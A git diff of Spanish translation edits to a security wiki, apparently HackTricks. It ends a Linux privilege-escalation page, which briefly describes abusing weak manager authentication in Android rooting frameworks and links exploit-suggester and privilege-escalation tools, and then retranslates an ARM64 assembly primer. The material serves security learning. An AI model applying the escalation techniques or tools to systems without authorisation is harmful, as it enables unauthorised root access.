modificaciones del administrador, simplificando el proceso de administración del sistema. +**systemd** surge como un gestor moderno de inicialización y servicios, ofreciendo características avanzadas como arranque de daemons bajo demanda, gestión de montajes automáticos e instantáneas del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de distribución y `/etc/systemd/system/` para modificaciones del administrador, agilizando el proceso de administración del sistema. -## Other Tricks +## Otros trucos ### NFS Privilege escalation @@ -1408,7 +1407,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Los frameworks de rooting de Android normalmente enganchan un syscall para exponer funcionalidades privilegiadas del kernel a un manager en userspace. Una autenticación débil del manager (p. ej., comprobaciones de firma basadas en el orden de FDs o esquemas de contraseña pobres) puede permitir que una app local se haga pasar por el manager y escale a root en dispositivos ya rooteados. Más información y detalles de explotación aquí: +Android rooting frameworks comúnmente enganchan un syscall para exponer funcionalidad privilegiada del kernel a un manager en espacio de usuario. Una autenticación débil del manager (p. ej., signature checks basadas en el orden de FDs o esquemas de contraseña pobres) puede permitir que una app local se haga pasar por el manager y escale a root en dispositivos ya rooteados. Más información y detalles de exploitation aquí: {{#ref}} @@ -1420,7 +1419,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Más ayuda [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) @@ -1437,9 +1436,9 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilación de más scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Referencias - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 81e2bb1f8..ee62fdb37 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -2,125 +2,128 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Niveles de Excepción - EL (ARM64v8)** +## **Exception Levels - EL (ARM64v8)** -En la arquitectura ARMv8, los niveles de ejecución, conocidos como Niveles de Excepción (ELs), definen el nivel de privilegio y las capacidades del entorno de ejecución. Hay cuatro niveles de excepción, que van de EL0 a EL3, cada uno con un propósito diferente: +En la arquitectura ARMv8, los niveles de ejecución, conocidos como Exception Levels (ELs), definen el nivel de privilegio y las capacidades del entorno de ejecución. Hay cuatro exception levels, que van desde EL0 hasta EL3, cada uno con un propósito diferente: -1. **EL0 - Modo de Usuario**: -- Este es el nivel menos privilegiado y se utiliza para ejecutar código de aplicación regular. +1. **EL0 - User Mode**: +- Este es el nivel menos privilegiado y se usa para ejecutar código de aplicaciones normales. - Las aplicaciones que se ejecutan en EL0 están aisladas entre sí y del software del sistema, mejorando la seguridad y la estabilidad. -2. **EL1 - Modo del Núcleo del Sistema Operativo**: -- La mayoría de los núcleos de sistemas operativos se ejecutan en este nivel. -- EL1 tiene más privilegios que EL0 y puede acceder a recursos del sistema, pero con algunas restricciones para garantizar la integridad del sistema. -3. **EL2 - Modo de Hipervisor**: -- Este nivel se utiliza para la virtualización. Un hipervisor que se ejecuta en EL2 puede gestionar múltiples sistemas operativos (cada uno en su propio EL1) que se ejecutan en el mismo hardware físico. +2. **EL1 - Operating System Kernel Mode**: +- La mayoría de los kernels de los sistemas operativos se ejecutan en este nivel. +- EL1 tiene más privilegios que EL0 y puede acceder a los recursos del sistema, pero con algunas restricciones para asegurar la integridad del sistema. +3. **EL2 - Hypervisor Mode**: +- Este nivel se usa para virtualización. Un hypervisor que se ejecuta en EL2 puede gestionar múltiples sistemas operativos (cada uno en su propio EL1) ejecutándose en el mismo hardware físico. - EL2 proporciona características para el aislamiento y control de los entornos virtualizados. -4. **EL3 - Modo de Monitor Seguro**: -- Este es el nivel más privilegiado y se utiliza a menudo para el arranque seguro y entornos de ejecución confiables. -- EL3 puede gestionar y controlar accesos entre estados seguros y no seguros (como arranque seguro, OS confiable, etc.). +4. **EL3 - Secure Monitor Mode**: +- Este es el nivel más privilegiado y a menudo se usa para secure boot y entornos de ejecución de confianza. +- EL3 puede gestionar y controlar los accesos entre estados secure y non-secure (como secure boot, trusted OS, etc.). -El uso de estos niveles permite una forma estructurada y segura de gestionar diferentes aspectos del sistema, desde aplicaciones de usuario hasta el software del sistema más privilegiado. El enfoque de ARMv8 sobre los niveles de privilegio ayuda a aislar efectivamente diferentes componentes del sistema, mejorando así la seguridad y robustez del sistema. +El uso de estos niveles permite una forma estructurada y segura de gestionar distintos aspectos del sistema, desde las aplicaciones de usuario hasta el software del sistema con mayores privilegios. El enfoque de ARMv8 sobre los niveles de privilegio ayuda a aislar efectivamente los distintos componentes del sistema, mejorando así la seguridad y la robustez del sistema. -## **Registros (ARM64v8)** +## **Registers (ARM64v8)** -ARM64 tiene **31 registros de propósito general**, etiquetados de `x0` a `x30`. Cada uno puede almacenar un **valor de 64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en un modo de 32 bits utilizando los nombres w0 a w30. +ARM64 tiene **31 registros de propósito general**, etiquetados `x0` hasta `x30`. Cada uno puede almacenar un valor de **64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros pueden accederse en modo de 32 bits usando los nombres `w0` hasta `w30`. -1. **`x0`** a **`x7`** - Estos se utilizan típicamente como registros temporales y para pasar parámetros a subrutinas. -- **`x0`** también lleva los datos de retorno de una función. -2. **`x8`** - En el núcleo de Linux, `x8` se utiliza como el número de llamada al sistema para la instrucción `svc`. **¡En macOS, el que se utiliza es x16!** -3. **`x9`** a **`x15`** - Más registros temporales, a menudo utilizados para variables locales. -4. **`x16`** y **`x17`** - **Registros de Llamada Intra-procedimental**. Registros temporales para valores inmediatos. También se utilizan para llamadas a funciones indirectas y stubs de PLT (Tabla de Enlace de Procedimientos). -- **`x16`** se utiliza como el **número de llamada al sistema** para la instrucción **`svc`** en **macOS**. -5. **`x18`** - **Registro de Plataforma**. Puede ser utilizado como un registro de propósito general, pero en algunas plataformas, este registro está reservado para usos específicos de la plataforma: Puntero al bloque de entorno de hilo local en Windows, o para apuntar a la **estructura de tarea actualmente ejecutándose en el núcleo de Linux**. -6. **`x19`** a **`x28`** - Estos son registros guardados por el llamado. Una función debe preservar los valores de estos registros para su llamador, por lo que se almacenan en la pila y se recuperan antes de volver al llamador. -7. **`x29`** - **Puntero de Marco** para hacer un seguimiento del marco de la pila. Cuando se crea un nuevo marco de pila porque se llama a una función, el registro **`x29`** se **almacena en la pila** y la **nueva** dirección del puntero de marco es (**`sp`** dirección) se **almacena en este registro**. -- Este registro también puede ser utilizado como un **registro de propósito general**, aunque generalmente se usa como referencia a **variables locales**. -8. **`x30`** o **`lr`** - **Registro de Enlace**. Contiene la **dirección de retorno** cuando se ejecuta una instrucción `BL` (Branch with Link) o `BLR` (Branch with Link to Register) almacenando el valor de **`pc`** en este registro. -- También podría ser utilizado como cualquier otro registro. -- Si la función actual va a llamar a una nueva función y, por lo tanto, sobrescribir `lr`, lo almacenará en la pila al principio, este es el epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Almacenar `fp` y `lr`, generar espacio y obtener nuevo `fp`) y lo recuperará al final, este es el prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` y `lr` y retornar). -9. **`sp`** - **Puntero de Pila**, utilizado para hacer un seguimiento de la parte superior de la pila. -- El valor de **`sp`** siempre debe mantenerse con al menos una **alineación de cuádruple palabra** o puede ocurrir una excepción de alineación. -10. **`pc`** - **Contador de Programa**, que apunta a la siguiente instrucción. Este registro solo puede ser actualizado a través de la generación de excepciones, retornos de excepciones y saltos. Las únicas instrucciones ordinarias que pueden leer este registro son las instrucciones de salto con enlace (BL, BLR) para almacenar la dirección **`pc`** en **`lr`** (Registro de Enlace). -11. **`xzr`** - **Registro Cero**. También llamado **`wzr`** en su forma de registro de **32** bits. Puede ser utilizado para obtener el valor cero fácilmente (operación común) o para realizar comparaciones utilizando **`subs`** como **`subs XZR, Xn, #10`** almacenando los datos resultantes en ningún lado (en **`xzr`**). +1. **`x0`** a **`x7`** - Normalmente se usan como registros temporales y para pasar parámetros a subrutinas. +- **`x0`** también transporta los datos de retorno de una función +2. **`x8`** - En el kernel de Linux, `x8` se usa como el número de syscall para la instrucción `svc`. **In macOS the x16 is the one used!** +3. **`x9`** a **`x15`** - Más registros temporales, usados frecuentemente para variables locales. +4. **`x16`** y **`x17`** - **Intra-procedural Call Registers**. Registros temporales para valores inmediatos. También se usan para llamadas indirectas a funciones y stubs de PLT (Procedure Linkage Table). +- **`x16`** se usa como el **system call number** para la instrucción **`svc`** en **macOS**. +5. **`x18`** - **Platform register**. Puede usarse como un registro de propósito general, pero en algunas plataformas este registro está reservado para usos específicos de la plataforma: puntero al bloque de entorno del hilo actual en Windows, o para apuntar a la **estructura de tarea actualmente ejecutada en el kernel de linux**. +6. **`x19`** a **`x28`** - Estos son registros preservados por el callee. Una función debe preservar los valores de estos registros para su caller, por lo que se almacenan en la pila y se recuperan antes de volver al caller. +7. **`x29`** - **Frame pointer** para llevar la pista del frame de la pila. Cuando se crea un nuevo frame de pila porque se llama a una función, el registro **`x29`** se **almacena en la pila** y la dirección del **nuevo** frame pointer (la dirección de **`sp`**) se **almacena en este registro**. +- Este registro también puede usarse como un **registro de propósito general** aunque usualmente se usa como referencia para **variables locales**. +8. **`x30`** or **`lr`**- **Link register**. Contiene la **dirección de retorno** cuando se ejecuta una instrucción `BL` (Branch with Link) o `BLR` (Branch with Link to Register) almacenando el valor de **`pc`** en este registro. +- También puede usarse como cualquier otro registro. +- Si la función actual va a llamar a una nueva función y por tanto sobrescribir `lr`, lo almacenará en la pila al principio; esto es el epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Store `fp` and `lr`, generate space and get new `fp`) y lo recupera al final; esto es el prólogo (`ldp x29, x30, [sp], #48; ret` -> Recover `fp` and `lr` and return). +9. **`sp`** - **Stack pointer**, usado para llevar la pista del tope de la pila. +- el valor de **`sp`** debe mantenerse siempre con al menos una **alineación de quadword** o puede ocurrir una excepción de alineación. +10. **`pc`** - **Program counter**, que apunta a la siguiente instrucción. Este registro solo puede actualizarse mediante la generación de excepciones, retornos de excepción y branches. Las únicas instrucciones ordinarias que pueden leer este registro son las branch with link (BL, BLR) para almacenar la dirección de **`pc`** en **`lr`** (Link Register). +11. **`xzr`** - **Zero register**. También llamado **`wzr`** en su forma de registro **32**-bit. Puede usarse para obtener fácilmente el valor cero (operación común) o para realizar comparaciones usando **`subs`** como **`subs XZR, Xn, #10`** almacenando los datos resultantes en ninguna parte (en **`xzr`**). -Los registros **`Wn`** son la versión de **32 bits** del registro **`Xn`**. +Los registros **`Wn`** son la versión de **32 bit** del registro **`Xn`**. -### Registros SIMD y de Punto Flotante +> [!TIP] +> Los registros de X0 - X18 son volátiles, lo que significa que sus valores pueden cambiar por llamadas a funciones e interrupciones. Sin embargo, los registros de X19 - X28 son no volátiles, lo que significa que sus valores deben preservarse a través de llamadas a funciones ("callee saved"). -Además, hay otros **32 registros de longitud 128 bits** que pueden ser utilizados en operaciones optimizadas de datos múltiples de una sola instrucción (SIMD) y para realizar aritmética de punto flotante. Estos se llaman registros Vn, aunque también pueden operar en **64** bits, **32** bits, **16** bits y **8** bits y luego se llaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** y **`Bn`**. +### SIMD and Floating-Point Registers -### Registros del Sistema +Además, hay otros **32 registros de 128bit** que pueden usarse en operaciones SIMD (single instruction multiple data) optimizadas y para realizar aritmética en coma flotante. Estos se llaman registros Vn aunque también pueden operar en **64**-bit, **32**-bit, **16**-bit y **8**-bit y entonces se denominan **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** y **`Bn`**. -**Hay cientos de registros del sistema**, también llamados registros de propósito especial (SPRs), que se utilizan para **monitorear** y **controlar** el comportamiento de los **procesadores**.\ -Solo se pueden leer o establecer utilizando las instrucciones especiales dedicadas **`mrs`** y **`msr`**. +### System Registers -Los registros especiales **`TPIDR_EL0`** y **`TPIDDR_EL0`** se encuentran comúnmente al realizar ingeniería inversa. El sufijo `EL0` indica la **excepción mínima** desde la cual se puede acceder al registro (en este caso, EL0 es el nivel de excepción (privilegio) regular con el que se ejecutan los programas regulares).\ -A menudo se utilizan para almacenar la **dirección base de la región de almacenamiento local de hilos** en memoria. Por lo general, el primero es legible y escribible para programas que se ejecutan en EL0, pero el segundo se puede leer desde EL0 y escribir desde EL1 (como el núcleo). +**Hay cientos de system registers**, también llamados special-purpose registers (SPRs), que se usan para **monitorizar** y **controlar** el comportamiento de los **procesadores**.\ +Solo pueden leerse o establecerse usando las instrucciones especiales dedicadas **`mrs`** y **`msr`**. -- `mrs x0, TPIDR_EL0 ; Leer TPIDR_EL0 en x0` -- `msr TPIDR_EL0, X0 ; Escribir x0 en TPIDR_EL0` +Los registros especiales **`TPIDR_EL0`** y **`TPIDDR_EL0`** se encuentran comúnmente al realizar reverse engineering. El sufijo `EL0` indica la **exception mínima** desde la cual el registro puede ser accedido (en este caso EL0 es el nivel de excepción (privilegio) regular con el que se ejecutan los programas ordinarios).\ +A menudo se usan para almacenar la **dirección base del thread-local storage** en memoria. Normalmente el primero es legible y escribible por programas que se ejecutan en EL0, pero el segundo puede leerse desde EL0 y escribirse desde EL1 (como el kernel). + +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE** contiene varios componentes del proceso serializados en el registro especial visible para el sistema operativo **`SPSR_ELx`**, siendo X el **nivel de permiso** **del nivel de excepción** que se activó (esto permite recuperar el estado del proceso cuando la excepción termina).\ +**PSTATE** contiene varios componentes del proceso serializados en el registro especial visible por el sistema operativo **`SPSR_ELx`**, siendo X el **nivel de permiso de la excepción desencadenada** (esto permite recuperar el estado del proceso cuando la excepción finaliza).\ Estos son los campos accesibles:
-- Las **banderas de condición `N`**, **`Z`**, **`C`** y **`V`**: -- **`N`** significa que la operación produjo un resultado negativo. -- **`Z`** significa que la operación produjo cero. -- **`C`** significa que la operación tuvo acarreo. -- **`V`** significa que la operación produjo un desbordamiento con signo: +- Las banderas de condición **`N`**, **`Z`**, **`C`** y **`V`**: +- **`N`** significa que la operación produjo un resultado negativo +- **`Z`** significa que la operación produjo cero +- **`C`** significa que la operación produjo carry +- **`V`** significa que la operación produjo un overflow con signo: - La suma de dos números positivos produce un resultado negativo. - La suma de dos números negativos produce un resultado positivo. -- En la resta, cuando se resta un número negativo grande de un número positivo más pequeño (o viceversa), y el resultado no puede ser representado dentro del rango del tamaño de bits dado. -- Obviamente, el procesador no sabe si la operación es con signo o no, por lo que verificará C y V en las operaciones e indicará si ocurrió un acarreo en caso de que fuera con signo o sin signo. +- En la resta, cuando se resta un número negativo grande de un número positivo más pequeño (o viceversa), y el resultado no puede representarse dentro del rango del tamaño de bits dado. +- Obviamente el procesador no sabe si la operación es con signo o sin signo, por lo que comprobará C y V en las operaciones e indicará si ocurrió un carry en caso de que fuera con signo o sin signo. > [!WARNING] -> No todas las instrucciones actualizan estas banderas. Algunas como **`CMP`** o **`TST`** lo hacen, y otras que tienen un sufijo s como **`ADDS`** también lo hacen. +> No todas las instrucciones actualizan estas banderas. Algunas como **`CMP`** o **`TST`** sí lo hacen, y otras que tienen un sufijo s como **`ADDS`** también lo hacen. -- La **bandera de ancho de registro actual (`nRW`)**: Si la bandera tiene el valor 0, el programa se ejecutará en el estado de ejecución AArch64 una vez reanudado. -- El **Nivel de Excepción** (**`EL`**): Un programa regular que se ejecuta en EL0 tendrá el valor 0. -- La **bandera de paso único** (**`SS`**): Utilizada por depuradores para realizar un paso único configurando la bandera SS a 1 dentro de **`SPSR_ELx`** a través de una excepción. El programa ejecutará un paso y emitirá una excepción de paso único. -- La **bandera de estado de excepción ilegal** (**`IL`**): Se utiliza para marcar cuando un software privilegiado realiza una transferencia de nivel de excepción inválida, esta bandera se establece en 1 y el procesador activa una excepción de estado ilegal. -- Las banderas **`DAIF`**: Estas banderas permiten a un programa privilegiado enmascarar selectivamente ciertas excepciones externas. -- Si **`A`** es 1, significa que se activarán **abortos asíncronos**. La **`I`** configura la respuesta a las **Solicitudes de Interrupción de Hardware** (IRQ). y la F está relacionada con **Solicitudes de Interrupción Rápida** (FIR). -- Las banderas de selección de puntero de pila (**`SPS`**): Los programas privilegiados que se ejecutan en EL1 y superiores pueden alternar entre usar su propio registro de puntero de pila y el de modelo de usuario (por ejemplo, entre `SP_EL1` y `EL0`). Este cambio se realiza escribiendo en el registro especial **`SPSel`**. Esto no se puede hacer desde EL0. +- La **actual ancho de registro (`nRW`) flag**: Si la bandera tiene el valor 0, el programa se ejecutará en el estado de ejecución AArch64 una vez reanudado. +- El **Exception Level** actual (**`EL`**): Un programa regular ejecutándose en EL0 tendrá el valor 0 +- La bandera de **single stepping** (**`SS`**): Usada por depuradores para ejecutar paso a paso poniendo la bandera SS a 1 dentro de **`SPSR_ELx`** a través de una excepción. El programa ejecutará un paso y emitirá una excepción de single step. +- La bandera de **illegal exception state** (**`IL`**): Se usa para marcar cuando un software privilegiado realiza una transferencia de nivel de excepción inválida, esta bandera se pone a 1 y el procesador desencadena una excepción de estado ilegal. +- Las banderas **`DAIF`**: Estas banderas permiten que un programa privilegiado enmascare selectivamente ciertas excepciones externas. +- Si **`A`** es 1 significa que se dispararán **asynchronous aborts**. La **`I`** configura la respuesta a las solicitudes externas de interrupción de hardware (IRQs). y la F está relacionada con **Fast Interrupt Requests** (FIRs). +- Las banderas de **selección de puntero de pila** (**`SPS`**): Los programas privilegiados que se ejecutan en EL1 y superiores pueden alternar entre usar su propio registro de puntero de pila y el del modo usuario (por ejemplo entre `SP_EL1` y `EL0`). Este cambio se realiza escribiendo en el registro especial **`SPSel`**. Esto no puede hacerse desde EL0. -## **Convención de Llamadas (ARM64v8)** +## **Calling Convention (ARM64v8)** -La convención de llamadas ARM64 especifica que los **primeros ocho parámetros** a una función se pasan en los registros **`x0` a `x7`**. Los **parámetros adicionales** se pasan en la **pila**. El **valor de retorno** se pasa de vuelta en el registro **`x0`**, o en **`x1`** también **si tiene 128 bits de longitud**. Los registros **`x19`** a **`x30`** y **`sp`** deben ser **preservados** a través de las llamadas a funciones. +La calling convention de ARM64 especifica que los **primeros ocho parámetros** a una función se pasan en los registros **`x0` hasta `x7`**. Los parámetros **adicionales** se pasan en la **pila**. El valor de **retorno** se devuelve en el registro **`x0`**, o también en **`x1`** si tiene **128 bits** de longitud. Los registros **`x19`** a **`x30`** y **`sp`** deben **preservarse** a través de las llamadas a funciones. -Al leer una función en ensamblador, busque el **prólogo y epílogo de la función**. El **prólogo** generalmente implica **guardar el puntero de marco (`x29`)**, **configurar** un **nuevo puntero de marco**, y **asignar espacio en la pila**. El **epílogo** generalmente implica **restaurar el puntero de marco guardado** y **retornar** de la función. +Al leer una función en ensamblador, busca el **prologue** y el **epilogue** de la función. El **prologue** normalmente implica **guardar el frame pointer (`x29`)**, **configurar** un **nuevo frame pointer** y **asignar espacio en la pila**. El **epilogue** normalmente implica **restaurar el frame pointer guardado** y **retornar** desde la función. -### Convención de Llamadas en Swift +### Calling Convention in Swift -Swift tiene su propia **convención de llamadas** que se puede encontrar en [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) +Swift tiene su propia **calling convention** que puede encontrarse en [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) -## **Instrucciones Comunes (ARM64v8)** +## **Common Instructions (ARM64v8)** -Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** que se va a realizar (como `add`, `sub`, `mov`, etc.), **`dst`** es el **registro de destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los **registros de origen**. También se pueden utilizar valores inmediatos en lugar de registros de origen. +Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** a realizar (como `add`, `sub`, `mov`, etc.), **`dst`** es el registro **destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los registros **origen**. También se pueden usar valores inmediatos en lugar de registros fuente. - **`mov`**: **Mover** un valor de un **registro** a otro. - Ejemplo: `mov x0, x1` — Esto mueve el valor de `x1` a `x0`. -- **`ldr`**: **Cargar** un valor de **memoria** en un **registro**. -- Ejemplo: `ldr x0, [x1]` — Esto carga un valor de la ubicación de memoria apuntada por `x1` en `x0`. -- **Modo de desplazamiento**: Se indica un desplazamiento que afecta al puntero de origen, por ejemplo: -- `ldr x2, [x1, #8]`, esto cargará en x2 el valor de x1 + 8. -- `ldr x2, [x0, x1, lsl #2]`, esto cargará en x2 un objeto del array x0, desde la posición x1 (índice) \* 4. -- **Modo pre-indexado**: Esto aplicará cálculos al origen, obtendrá el resultado y también almacenará el nuevo origen en el origen. -- `ldr x2, [x1, #8]!`, esto cargará `x1 + 8` en `x2` y almacenará en x1 el resultado de `x1 + 8`. -- `str lr, [sp, #-4]!`, Almacena el registro de enlace en sp y actualiza el registro sp. -- **Modo post-indexado**: Esto es como el anterior, pero se accede a la dirección de memoria y luego se calcula y almacena el desplazamiento. -- `ldr x0, [x1], #8`, carga `x1` en `x0` y actualiza x1 con `x1 + 8`. -- **Dirección relativa al PC**: En este caso, la dirección a cargar se calcula en relación con el registro PC. +- **`ldr`**: **Cargar** un valor desde **memoria** a un **registro**. +- Ejemplo: `ldr x0, [x1]` — Esto carga un valor desde la dirección de memoria apuntada por `x1` en `x0`. +- **Modo offset**: Se indica un offset que afecta al puntero origen, por ejemplo: +- `ldr x2, [x1, #8]`, esto cargará en x2 el valor desde x1 + 8 +- `ldr x2, [x0, x1, lsl #2]`, esto cargará en x2 un objeto del array x0, desde la posición x1 (índice) * 4 +- **Modo pre-indexado**: Esto aplicará cálculos al origen, obtendrá el resultado y también almacenará el nuevo origen en el registro origen. +- `ldr x2, [x1, #8]!`, esto cargará `x1 + 8` en `x2` y almacenará en x1 el resultado de `x1 + 8` +- `str lr, [sp, #-4]!`, Almacena el link register en sp y actualiza el registro sp +- **Modo post-index**: Esto es como el anterior pero la dirección de memoria se accede y luego se calcula y almacena el offset. +- `ldr x0, [x1], #8`, carga `x1` en `x0` y actualiza x1 con `x1 + 8` +- **Direccionamiento relativo a PC**: En este caso la dirección a cargar se calcula relativa al registro PC - `ldr x1, =_start`, Esto cargará la dirección donde comienza el símbolo `_start` en x1 en relación con el PC actual. -- **`str`**: **Almacenar** un valor de un **registro** en **memoria**. -- Ejemplo: `str x0, [x1]` — Esto almacena el valor en `x0` en la ubicación de memoria apuntada por `x1`. -- **`ldp`**: **Cargar Par de Registros**. Esta instrucción **carga dos registros** desde **ubicaciones de memoria** consecutivas. La dirección de memoria se forma típicamente sumando un desplazamiento al valor en otro registro. +- **`str`**: **Almacenar** un valor desde un **registro** en **memoria**. +- Ejemplo: `str x0, [x1]` — Esto almacena el valor de `x0` en la ubicación de memoria apuntada por `x1`. +- **`ldp`**: **Load Pair of Registers**. Esta instrucción **carga dos registros** desde **memoria consecutiva**. La dirección de memoria típicamente se forma sumando un offset al valor en otro registro. - Ejemplo: `ldp x0, x1, [x2]` — Esto carga `x0` y `x1` desde las ubicaciones de memoria en `x2` y `x2 + 8`, respectivamente. -- **`stp`**: **Almacenar Par de Registros**. Esta instrucción **almacena dos registros** en **ubicaciones de memoria** consecutivas. La dirección de memoria se forma típicamente sumando un desplazamiento al valor en otro registro. +- **`stp`**: **Store Pair of Registers**. Esta instrucción **almacena dos registros** en **memoria consecutiva**. La dirección de memoria típicamente se forma sumando un offset al valor en otro registro. - Ejemplo: `stp x0, x1, [sp]` — Esto almacena `x0` y `x1` en las ubicaciones de memoria en `sp` y `sp + 8`, respectivamente. - `stp x0, x1, [sp, #16]!` — Esto almacena `x0` y `x1` en las ubicaciones de memoria en `sp+16` y `sp + 24`, respectivamente, y actualiza `sp` con `sp+16`. - **`add`**: **Sumar** los valores de dos registros y almacenar el resultado en un registro. @@ -128,128 +131,128 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2 - Xn1 -> Destino - Xn2 -> Operando 1 - Xn3 | #imm -> Operando 2 (registro o inmediato) -- \[shift #N | RRX] -> Realizar un desplazamiento o llamar a RRX. +- \[shift #N | RRX] -> Realiza un shift o llama a RRX - Ejemplo: `add x0, x1, x2` — Esto suma los valores en `x1` y `x2` y almacena el resultado en `x0`. -- `add x5, x5, #1, lsl #12` — Esto equivale a 4096 (un 1 desplazado 12 veces) -> 1 0000 0000 0000 0000. -- **`adds`** Esto realiza un `add` y actualiza las banderas. +- `add x5, x5, #1, lsl #12` — Esto equivale a 4096 (un 1 desplazado 12 veces) -> 1 0000 0000 0000 0000 +- **`adds`** Esto realiza un `add` y actualiza las banderas - **`sub`**: **Restar** los valores de dos registros y almacenar el resultado en un registro. -- Verifique la **sintaxis de `add`**. +- Revisa la **sintaxis** de **`add`**. - Ejemplo: `sub x0, x1, x2` — Esto resta el valor en `x2` de `x1` y almacena el resultado en `x0`. -- **`subs`** Esto es como sub pero actualizando la bandera. +- **`subs`** Esto es como sub pero actualizando las banderas - **`mul`**: **Multiplicar** los valores de **dos registros** y almacenar el resultado en un registro. - Ejemplo: `mul x0, x1, x2` — Esto multiplica los valores en `x1` y `x2` y almacena el resultado en `x0`. - **`div`**: **Dividir** el valor de un registro por otro y almacenar el resultado en un registro. - Ejemplo: `div x0, x1, x2` — Esto divide el valor en `x1` por `x2` y almacena el resultado en `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Desplazamiento lógico a la izquierda**: Agrega 0s desde el final moviendo los otros bits hacia adelante (multiplica por n veces 2). -- **Desplazamiento lógico a la derecha**: Agrega 1s al principio moviendo los otros bits hacia atrás (divide por n veces 2 en sin signo). -- **Desplazamiento aritmético a la derecha**: Como **`lsr`**, pero en lugar de agregar 0s si el bit más significativo es un 1, se **agregan 1s** (divide por n veces 2 en con signo). -- **Rotar a la derecha**: Como **`lsr`** pero lo que se elimina de la derecha se agrega a la izquierda. -- **Rotar a la derecha con extensión**: Como **`ror`**, pero con la bandera de acarreo como el "bit más significativo". Así que la bandera de acarreo se mueve al bit 31 y el bit eliminado a la bandera de acarreo. -- **`bfm`**: **Movimiento de Campo de Bits**, estas operaciones **copian bits `0...n`** de un valor y los colocan en posiciones **`m..m+n`**. El **`#s`** especifica la **posición del bit más a la izquierda** y **`#r`** la **cantidad de rotación a la derecha**. -- Movimiento de campo de bits: `BFM Xd, Xn, #r`. -- Movimiento de campo de bits con signo: `SBFM Xd, Xn, #r, #s`. -- Movimiento de campo de bits sin signo: `UBFM Xd, Xn, #r, #s`. -- **Extracción e Inserción de Campo de Bits:** Copia un campo de bits de un registro y lo copia a otro registro. -- **`BFI X1, X2, #3, #4`** Inserta 4 bits de X2 desde el tercer bit de X1. -- **`BFXIL X1, X2, #3, #4`** Extrae desde el tercer bit de X2 cuatro bits y los copia a X1. -- **`SBFIZ X1, X2, #3, #4`** Extiende el signo de 4 bits de X2 e inserta en X1 comenzando en la posición de bit 3, poniendo a cero los bits de la derecha. -- **`SBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2, extiende el signo y coloca el resultado en X1. -- **`UBFIZ X1, X2, #3, #4`** Extiende 0s de 4 bits de X2 e inserta en X1 comenzando en la posición de bit 3, poniendo a cero los bits de la derecha. -- **`UBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2 y coloca el resultado extendido a cero en X1. -- **Extender Signo a X:** Extiende el signo (o simplemente agrega 0s en la versión sin signo) de un valor para poder realizar operaciones con él: -- **`SXTB X1, W2`** Extiende el signo de un byte **de W2 a X1** (`W2` es la mitad de `X2`) para llenar los 64 bits. -- **`SXTH X1, W2`** Extiende el signo de un número de 16 bits **de W2 a X1** para llenar los 64 bits. -- **`SXTW X1, W2`** Extiende el signo de un byte **de W2 a X1** para llenar los 64 bits. -- **`UXTB X1, W2`** Agrega 0s (sin signo) a un byte **de W2 a X1** para llenar los 64 bits. -- **`extr`:** Extrae bits de un **par de registros concatenados** especificados. -- Ejemplo: `EXTR W3, W2, W1, #3` Esto **concatena W1+W2** y obtiene **desde el bit 3 de W2 hasta el bit 3 de W1** y lo almacena en W3. -- **`cmp`**: **Comparar** dos registros y establecer banderas de condición. Es un **alias de `subs`** estableciendo el registro de destino en el registro cero. Útil para saber si `m == n`. -- Soporta la **misma sintaxis que `subs`**. +- **Logical 